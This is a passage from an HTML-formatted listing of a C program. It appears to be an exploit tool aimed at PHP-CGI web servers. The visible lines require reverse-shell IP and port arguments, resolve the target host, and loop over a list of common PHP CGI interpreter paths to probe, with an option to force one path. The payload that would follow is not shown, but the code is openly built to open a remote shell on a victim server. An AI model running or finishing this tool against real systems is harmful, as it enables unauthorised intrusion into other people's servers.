<DIV class="line number360 index359 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;!reverseip || !reverseport){</DIV>

<DIV class="line number361 index360 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;usage(argv);</DIV>

<DIV class="line number362 index361 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;}</DIV>

<DIV class="line number363 index362 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number364 index363 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;server = gethostbyname_(target, port);</DIV>

<DIV class="line number365 index364 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;if (!server) {</DIV>

<DIV class="line number366 index365 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;printf("Error while resolving hostname. (7)\n");</DIV>

<DIV class="line number367 index366 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;exit(255);</DIV>

<DIV class="line number368 index367 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;}</DIV>

<DIV class="line number369 index368 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number370 index369 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;char *interpreters[5];</DIV>

<DIV class="line number371 index370 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;int ninterpreters = 5;</DIV>

<DIV class="line number372 index371 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;interpreters[0] = strdup("/cgi-bin/php");</DIV>

<DIV class="line number373 index372 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;interpreters[1] = strdup("/cgi-bin/php5");</DIV>

<DIV class="line number374 index373 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;interpreters[2] = strdup("/cgi-bin/php-cgi");</DIV>

<DIV class="line number375 index374 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;interpreters[3] = strdup("/cgi-bin/php.cgi");</DIV>

<DIV class="line number376 index375 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;interpreters[4] = strdup("/cgi-bin/php4");</DIV>

<DIV class="line number377 index376 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;</DIV>

<DIV class="line number378 index377 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;for (i=0;i&lt;ninterpreters;i++) {</DIV>

<DIV class="line number379 index378 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;interpreter = interpreters[i];</DIV>

<DIV class="line number380 index379 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (forceinterpreter) {</DIV>

<DIV class="line number381 index380 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;interpreter = strdup(forceinterpreter);</DIV>

<DIV class="line number382 index381 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;}</DIV>

<DIV class="line number383 index382 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;if (forceinterpreter &amp;&amp; i)</DIV>

